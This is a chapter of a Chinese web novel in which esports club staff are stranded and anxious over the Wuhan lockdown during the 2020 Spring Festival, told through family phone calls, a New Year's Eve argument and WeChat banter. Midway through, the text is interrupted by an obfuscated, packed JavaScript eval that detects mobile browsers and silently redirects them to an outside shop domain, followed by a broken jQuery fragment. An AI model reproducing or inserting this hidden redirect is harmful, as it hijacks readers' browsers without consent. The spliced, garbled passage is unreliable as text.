一月二十三日清晨。
程博闻起得很早。
他已经收好行李，车票是当天最早一班。出门前，他习惯性地看了一眼手机，屏幕上同时跳出数条新闻和铁路通知。武汉宣布自上午十时起关闭机场、火车站等离汉通道。紧接着，铁路通知显示他准备乘坐的早班车停运，系统提示可以免费退票。
程博闻坐在床边，看着“列车停运”几个字，很久没有动作。
两天前，家人让他晚一点回去。他以为只是把归程推迟四十八小时。现在，回家的按钮消失了。行李箱还立在门边，外套搭在拉杆上，连随身带回去的礼物都已经装好。所有东西都在提醒他，原本只差出门和上车。
他给母亲打电话。
电话接通后，第一句话不是“你们怎么样”，而是：“家里菜够吗？”
他知道，如果直接问情况，母亲一定只会说没事。
电话那边果然先抱怨他起得太早，随后才说家里什么都不缺，让他留在上海，不要乱跑。
“米呢？”
“有。”
“药呢？”
“都有。”
“外婆那边谁照顾？”
“你舅舅在。”
程博闻一项项问，像是在确认一份比赛前的准备表。母亲回答得很快，语气甚至有些不耐烦，直到最后才说：“幸好你没回来。”
他没有接话。
如果家里人两天前没有让他改签，他现在或许已经在武汉。
父亲接过电话，同样只说：“我们挺好的。你把自己管好，别给家里添乱。”
“有事告诉我。”
“告诉你有什么用？”
父亲说完，似乎也意识到这句话太重，停了一会儿才补充：“离得那么远，你回来也解决不了。”
电话挂断以后，房间重新安静下来。程博闻把车票页面关掉，又打开新闻。几分钟后，他再次回到购票软件，像是不相信所有线路真的同时消失。
没有车。
没有飞机。
也没有任何人能告诉他，这种状态会持续多久。
-
一月二十四日，除夕。
上海，许丹父母家。
许丹已经很多年没有认真在家过春节。学生时代忙学业，工作以后忙项目，加入LWH后更是连完整假期都很少有。这次她难得留在家里，母亲从早上开始准备年夜饭，父亲仍旧保持原来的习惯，一边看新闻，一边翻报纸和财经节目。许母在厨房里忙了一阵，出来时看见女儿还坐在电脑前。
“今天还工作？”
“看一下返程安排。”
“你们不是还没确定什么时候回去？”
“所以才要先看。”
许母没有劝她关电脑，只把切好的水果放在旁边。
“你爸刚才问了三次，武汉封城会不会影响你们比赛。”
许丹抬头：“他关心比赛？”
“他关心你什么时候回南京，又不好直接问。”
客厅里的许父翻了一页报纸，像是没有听见。
吃饭时，他果然先问：“俱乐部现在怎么样？”
许丹回答：“还好。”
父亲点点头，停顿片刻。
“要是以后想回来——”
许丹立刻知道后半句是什么，低头夹了一块菜。
许父也没有继续。
这样的场景重复过许多年。双方都清楚彼此的观点，也都知道一顿年夜饭改变不了什么。晚间新闻不断更新武汉病例、医疗队出发和各地响应。
许父看了一会儿，忽然说：“工作再重要，也没有人重要。”
许丹沉默片刻。
她知道，父亲的话有两层意思。
一层是眼前的疫情。无论制度、工作还是计划，真正面对危险的始终是具体的人。另一层仍然是他多年来对她职业选择的担忧。电竞在他眼里并非必须由女儿承担的责任，更不值得她长期放弃稳定生活。许丹看着电视中准备出发的医护人员。
“可有些事，总得有人去做。”
许父皱眉：“电竞和这个不一样。”
“当然不一样。”
许丹没有把两件事等同。
“医生做的是现在必须救人的事。我们做的没有这么紧急，也没有这么重要。”
她停顿一下。
“但一个行业要从混乱走到职业，总得有人留下来，把该补的东西慢慢补上。不是因为它能和别的工作比较，而是因为已经有很多人在里面生活。”
许父看了她一会儿。
“所以只要有人在里面，你就得留下？”
“不是。”许丹回答，“是我选择留下。我能做，也愿意做。”
“那如果有一天不愿意了呢？”
“就回来。”
她说得很平静。
许父似乎没想到会得到这个答案。
许丹又补充：“留下不是因为我必须证明当初选择正确。哪天事实变了，我也可以重新决定。”
父女之间短暂安静下来。
这一次，许父没有直接反驳。他仍然不认为电竞是最稳妥的职业选择，却第一次听见女儿承认，这条路不是一项永远不能撤回的证明题。双方都理解了对方的一部分，却谁也没有改变现在的选择。
许母从厨房端出最后一道菜，没有加入争论，只提醒：“先吃。菜凉了，讨论什么职业都没用。”
-
南京。
这是孙浩和赵楠结婚后的第一个春节，也是孙浩人生最意气风发的阶段。一年三冠，俱乐部受到前所未有的关注，融资谈判顺利推进，九猫又以远超预期的价格完成转会。过去几年所有投入，似乎都开始得到回报。亲戚终于记住了LWH。
饭桌上，有人问：“就是那个打游戏拿冠军的队？”
孙浩笑着点头：“对。”
以前他说自己开电竞俱乐部，旁人总觉得不够可靠。今年不同，新闻、热搜和直播都能看见LWH，甚至连一名选手的转会价格都足以让亲戚惊讶许久。
有人听见九猫的成交价，立刻问：“一个打游戏的年轻人值这么多？”
孙浩解释了几句冠军、商业价值和职业合同。说到后来，亲戚已经听不懂具体规则，只反复感叹这行原来真的能赚钱。
九猫离队并没有让孙浩长时间陷入低落。
中单缺失可以解决。
夕夏已经买下，下雪也能重新竞争位置。只要重新训练、重新磨合，LWH仍然具备争冠条件。相较于失去一名选手，他更在意的是，这笔转会进一步证明了俱乐部培养体系和选手资产的价值。
即使是除夕，孙浩的手机也没有真正停下。投资人、联盟、工作人员、选手，一条条消息不断跳出。有人问疫情会不会影响融资进度，有人询问俱乐部是否需要提前召回人员，还有人提醒南京可能加强返程管理。
赵楠最开始还提醒：“先吃饭。”
后来见他实在放不下，只把凉掉的菜重新热了一遍。孙浩接过碗时说了声谢谢，又低头回复消息。赵楠看了他一会儿，没有再催。
-
上海另一处住宅里，程博闻一个人过年。
他原本准备回武汉，行李直到除夕仍放在墙边，没有完全拆开。每天醒来，第一件事就是刷新新闻。新增病例、新增管控、医院画面和求助信息不断出现。停职、降薪、奖金取消带来的职业和经济压力，在家人的安危面前突然失去分量。
他频繁给家里打电话。母亲总说没事，父亲总说别担心，亲戚也都说物资充足。他问得越具体，对方回答得越轻松。可他身在上海，什么都无法确认，也做不了什么。
除夕下午，GH有人在工作群里发了新年红包。程博闻仍在停职，没有人主动谈工作，却也没人把他从群里移出去。他点开红包，抢到一个最小的数字。群里有人笑他运气差，他回了一个表情，随后退出聊天页面。
晚上，一条讨论GH处罚的微博被转进电竞圈。那名FMVP选手的粉丝认为禁赛远远不够，要求联盟将程驰除名，各俱乐部统一拉黑，永不录用。微博最后还特意@了Scar，希望她公开声援。
许丹看见以后，只回复了两段：
[我支持联盟依据事实和规则作出处罚。永久禁业是另一项处罚，需要明确规则、事实依据和相称程序。]
[职业处罚维护竞技公平与行业秩序，不能由舆论临时追加成“永远不能再工作”。]
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913869|213252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
程博闻很快发来私信：
【你在替我说话？】
【你想多了。】
【我支持处罚，也反对临时追加处罚。】
【大过年的也不忘把我分门别类。】
【不分清楚，容易有人把处罚当许愿池。】
【你骂人越来越像我了。】
【别给自己脸上贴金。】
过了一会儿，程博闻发来一张便利店货架的照片，只剩两盒便当和几份三明治。
【上海过年连饭都吃不上？】
【是你住的地方不会找。】
【请本地人指教。】
许丹问清他住在娄山关路附近，连续推来两张微信名片。
【许丹向你推荐了“周记小馆”】
【许丹向你推荐了“阿成便利店”】
【第一家往年初五左右开，先问。第二家春节不休，水、纸巾和日用品都能送。】
【你微信里为什么会有这么多老板？】
【住得近。】
【小卖部还有饭团，能吃吗？】
【这一带的一般。学校门口那家好得多。】
【名片。】
【没开。】
【那你提它做什么？】
【让你知道，现在吃到的不是上海饭团上限。】
程博闻把两张名片都加上。小卖部老板很快回复，可以把泡面、饮用水和几样日用品一起送来。
【半小时到。】
【比你判断版本快。】
【对停职人员的攻击能不能暂停一天？】
【不能。】
春节联欢晚会开始后，电视声、窗外零星的烟花和手机提示音交织在一起。程博闻仍然会刷新武汉的消息，微信却不再只停留在家人的报平安上。
-
一月二十七日，年初三。为电竞同行单独建立的婚礼宾客群突然热闹起来。原本讨论婚礼和返程的人开始讨论疫情、赛事和场馆。有人问联盟是否考虑延期，有人说多个俱乐部的选手已经无法按时返程，也有人担心线下比赛短期内根本无法举行。联盟工作人员只回复，正式通知仍在讨论，请各俱乐部先统计人员情况，不要自行传播未经确认的赛程。许丹在群里回复了一条场馆消息。
程驰顺手接了一句：
【现在最难的不是场馆，是人回不去。】
有人问：
【GH呢？】
程驰停职，没替俱乐部回答。许丹看见对话停在那里，私下发了句：
【你还挺有边界。】
程博闻：
【我只是没资格替他们说话。】
后来，两人转到私聊。
他们聊联盟可能采取的方案，聊各地交通限制，聊无法返队的选手，也聊LWH尚未正式开始的新阵容。
程博闻问：
【中路决定了吗？】
许丹回复：
【没有。】
【训练赛以后再看。】
【你居然愿意等？】
【没有证据，不等能怎么办？】
【以前你可能会先做一张表。】
【已经做了。】
【那还是以前的你。】
许丹看着消息，忍不住问：
【你是不是很闲？】
【停职人员的主要工作，就是观察在职人员。】
她发去一个无语的表情。
两人又聊了一会儿线上训练的可能性。程博闻认为至少可以先保持队员之间的语音沟通，许丹却提醒，网络、设备和家庭环境差异会让训练结果严重失真。
程博闻回复：
【失真也比完全没有强。】
许丹：
【所以要记录失真来自哪里。】
半个小时过去，聊天自然结束。
程博闻放下手机，忽然发现，这是几天以来第一次，他连续半小时没有刷新武汉新闻。
原定返程日期越来越近，各家俱乐部却没有任何人能够确定，选手究竟什么时候才能重新回到基地。九猫和风云没有完成正式告别，夕夏没有进入新的训练室，所有为春季赛准备的计划都开始失去明确日期。他们曾经设想过的2020赛年，正在一点点失去原来的形状。